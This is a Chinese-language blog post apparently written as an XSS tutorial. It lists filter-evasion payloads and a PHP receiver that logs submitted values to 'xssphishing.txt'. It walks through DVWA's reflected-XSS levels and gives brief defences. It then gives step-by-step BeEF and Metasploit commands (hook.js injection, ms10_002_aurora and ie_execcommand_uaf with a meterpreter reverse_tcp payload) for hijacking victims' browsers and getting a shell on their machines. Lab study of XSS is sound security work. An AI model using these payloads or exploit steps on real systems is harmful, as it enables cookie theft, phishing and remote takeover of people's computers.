XSS专题

Posted 网络空间安全社

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS专题相关的知识,希望对你有一定的参考价值。

点上方蓝字“网络空间安全社”即可关注

2018/10/30 22:20


前言

总结了XSS的一些知识,介绍了beef,msf的工具利用。

学海无涯,笔者要去充电一段时间。

非常欢迎大家留言对本文指正!也欢迎同学们投稿!



大纲 

1.xss的类型

2.xss的变形逃逸常用技巧

#2.1.简单写一个php的xss接受平台

3.DVWA反射型的xss过关

4.部分防御xss思路和函数

5.kali的beef+msf劫持

6.连接beef和msf的教程链接(增多beef劫持的攻击模块)

7.推荐一个师傅写得writeup 





1xss的类型

XSS被称为跨站脚本攻击(Cross-site script),因为与CSS(层叠样式表)重名,故‘跨站脚本攻击’改名为‘XSS’。


xss有三种:

1.反射型xss,2.存储型xss,3.基于DOM的xss

(因笔者认为‘基于DOM的xss’可被包括于‘反射型xss’,以下讲解以反射型xss和存储型xss为例)

 

 

2xss变形逃逸的常用技巧


#1.缩短网址:

一个长链接比较危险,一般会去缩短网址

网址:http://www.ft12.com/(该缩短网址功能没有防御xss的安全功能,所以我们可以使用该网址)

可缩短网址放到公网上且生成一个该网址的二维码


#2.前端限制长度

如果前端js限制输入长度,可直接修改js(如:修改前端maxlength突破长度限制)


#3.javascript的伪协议

类似php文件包含的那种伪协议,javascript也有伪协议

javascript:alert(document.cookie)(直接放在url上回车就会执行)

<a href='javascript:alert(document.cookie)'>

<img src='javascript:alert('xss')'>(不是所有浏览器都支持伪协议)

<a herf = javascript:alert(1)>

 

#4.产生自己的事件(拼接标签,拼凑xss)

eg:onclick,onmouseover,onkeydown

<img src='#' onerror='alert('xss')'>

<img src=1 onerror='alert('xss')'>

<input type='button' value='click!' onclick='alert('1')'>(拼凑)

<body onload=alert('xss')>

<.... onmouseover=alert(1)>

 

#5.构造标签


eg:闭合<pre>或者<textarea>标签后执行js。

<pre><a onclick='javascript:alert(/xss/)'>click the url</a></pre>


 #6.双写


拼凑scriscriptpt诸如此类的双重xss逃逸关键词过滤


#7.AugularJs

<span class="ng-include:"></span>

ng-include指令的值可以是一个表达式返回一个文件名,默认情况下文件需要在同一个域名下。通过src的请求,augularJs会解析其为文件内部的东西

菜鸟教程学习网址:

https://www.runoob.com/angularjs/angularjs-tutorial.html


#8.type为hidden的表单

寻找网页直接打印http数据包中的某些http请求行中的内容


#9.编码(看xss语句在什么环境运行)

常用编码网址:xssor.io

1.URL编码(必须先确认目标服务器可以自行解码URL编码)


2.实体编码:&开头分号结尾( < 被编码为 &It;)

eg:<a onclick="javascript:alert(/xss/)">click me</a>

(html接收到一个html实体字符后会解码,所以代码还原成了真正的代码)

字符编码:十进制(<)、十六进制(<)、ASCII、unicode编码


3.js编码(不够个数补0):三个八进制数字(\145),两个十六进制(\x65),四个十六进制(\u0065)(适用js进行的输出)

(可以外部引用自己的js文件)


4.CSS编码:1~6个十六进制数字(\65 or \65 or \00065)

(引用外部的自己写的css文件)



 #10.过滤某些符号


过滤空格:使用其他东西代替:如%0a%0d

eg:http://????/level16.php?keyword=<img%0a%0dsrc=x%0a%0donclick=alert(1)>

(这个不是链接啊啊啊注意)



 

2.1如何制作简单的xss接受平台


 

接收端:

<?php

if(isset($_POST['submit'])){

foreach($_POST as $key=>$value)

{

$log = fopen("xssphishing.txt","a");

fwrite($log,$key."=".$value."\r\n");

}

fclose($log);

}

header("location:http//原始界面,进后台的正常页面")

?>



 

3dvwa


 


反射型xss;难度:low

源代码:

<?php

if(!array_key_exists ("name"$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty true;

} else {      

 echo '<pre>';

 echo 'Hello ' $_GET['name'];

 echo '</pre>';   

}

?>

因为发现输入什么就输出什么,所以可以直接输入payload:'<script>alert(document.cookie)</script>'直接弹框验证xss漏洞的存在。

 

 

XSS专题(一)

反射型xss;难度:medium

<?php

if(!array_key_exists ("name"$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty true;

} else {

 echo '<pre>';

 echo 'Hello ' str_replace('<script>'''$_GET['name']);

 echo '</pre>'

}

?>

从源代码可知后台php脚本将‘<script>’标签替换为空字符串。我们可以大小写绕过。

payload:‘<scrIpt>alert(document.cookie)</scRipt>’

 


反射型xss;难度:high

<?php 

if(!array_key_exists ("name"$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ 

 $isempty true;    

} else {

 echo '<pre>';

 echo 'Hello ' htmlspecialchars($_GET['name']);

 echo '</pre>';     

}

?>


从源代码可知使用了htmlspecialchars()函数进行了过滤。htmlspecialchars()可将

 & " ' < > 

这五个字符转译为HTML实体:(“&被转译字符的名字;”)。

 注意:htmlspecialchars()函数可以过滤单引号,但是默认的htmlspecialchars()不过滤单引号

此处htmlspecialchars()函数放置处没有造成拼接之类的漏洞。此题应该无解吧???我看到国外有个人是http抓包把cookie的high改成了low直接简单输出alert(1)的。。。。。。


有位16级的学长说如果环境是nginx的话可以利用其他漏洞绕过htmlspecialchars()函数,有兴趣的同学自己下来尝试复现一下吧。

 

 

4防御

1.直接防御xss

过滤script标签

addslashes()

htmlspecialchars()

str_replace()

 

2.为cookie上保险

*关键cookie设置http_only属性

*security属性(被ssl层加密传输)

 

 

5beef + xss


xss的常用漏洞和ie版本有关


浏览器漏洞利用:

漏洞1:ms10_002  ->  ie6(一般xp自带ie7)

漏洞2:ie_execcommand_uaf   ->   ie7,8,9(一般win7win8自带ie这些版本)

 

漏洞1:ms10_002

Kali系统下执行命令如下:

1.cd /usr/share/beef-xss/

(切换到beef所在目录)

2../beef

(启动beef)

XSS专题(一)

(http://xxxxx/hook.js,这个链接是xss攻击时挂上去的payload。如,在某网页挂xss:<script src='http://xxxxx/hook.js'></script>;http://xxxx/ui/panel,这个链接是beef后台,用户登录该后台即可控制被劫持的浏览器调整各种姿势。默认用户密码均为beef)

3.use windows exploit/browser/ms10_002_aurora

(漏洞模块文件可能会因为kali的不同而不同,如果找不到模块位置可以再找一找)

4.set PAYLOAD windows/meterpreter/reverse_tcp

(这里是设置木马的一个msf命令)

5.set SRVHOST 自己的ip(开启挂马网页的ip)

6.set SRVPORT 自己的端口A(开启挂马网页的ip的端口,服务开启)

7.set URIPATH /(设置访问域,写 / 即可)

8.set LHOST 自己的ip(设置监听ip)

9.set LPORT 自己的端口B(监听接收流量的端口)

10.exploit(漏洞开始利用,等待钓鱼)

11.session -i 序号(和被钓鱼的谁交互)

12.shell(获取被钓鱼者的shell权限)

 

漏洞2:ie_execcommand_uaf

Kali系统下执行命令如下:


1.cd /usr/share/beef-xss/(切换到beef所在目录)

2../beef(启动beef)

# 3.use exploit/windows/browser/ie_execcommand_uaf

4.set PAYLOAD windows/meterpreter/reverse_tcp

(这里是设置木马的一个msf命令)

5.set SRVHOST 自己的ip(开启挂马网页的ip)

6.set SRVPORT 自己的端口A(开启挂马网页的ip的端口,服务开启)

7.set URIPATH /(设置访问域,写 / 即可)

# 8.set LHOST 自己的ip(设置监听ip)

# 9.set LPORT 自己的端口B(监听接收流量的端口)

10.exploit(漏洞开始利用,等待钓鱼)

11.session -i 序号(和被钓鱼的谁交互)

12.shell(获取被钓鱼者的shell权限)


 

6连接beef和msf

 

为什么要链接beef和msf?

如果连接beef和msf的话(两个工具被设计成可以连接的),beef的响应的攻击模块会大量增加。


一般直接使用chrome浏览器登录beef的panel后台,如下图,会有一定程度上的翻译

 

XSS专题(一)

比如调用摄像头

 

在这里缺flash,否则可能会被利用。不过常用的URL跳转肯定能被利用到笔者浏览器上的。

 

链接如下(两种方式略有不同):

kali系统连接beef和msf:https://jingyan.baidu.com/article/3052f5a1d6b60597f31f8683.html

塔主推荐的REEBUF的文章:https://www.freebuf.com/sectool/4799.html

 


7某位师傅的两篇精彩的WP

 

ShaoBaoBaor

上篇:

http://shaobaobaoer.cn/archives/603/xss-%E6%8C%91%E6%88%98%E8%B5%9B-wp-%E4%B8%8A

下篇:

http://shaobaobaoer.cn/archives/604



 


以上是关于XSS专题的主要内容,如果未能解决你的问题,请参考以下文章

JVM技术专题Thread的stackSize与-Xss参数的区别「分析篇」

无相劫指:Web安全之其他漏洞专题二-第八天

XSS事件

Java专栏

最新的黑客技术:详解XSS跨站脚本攻击

DEDECMS专题模板怎么做啊?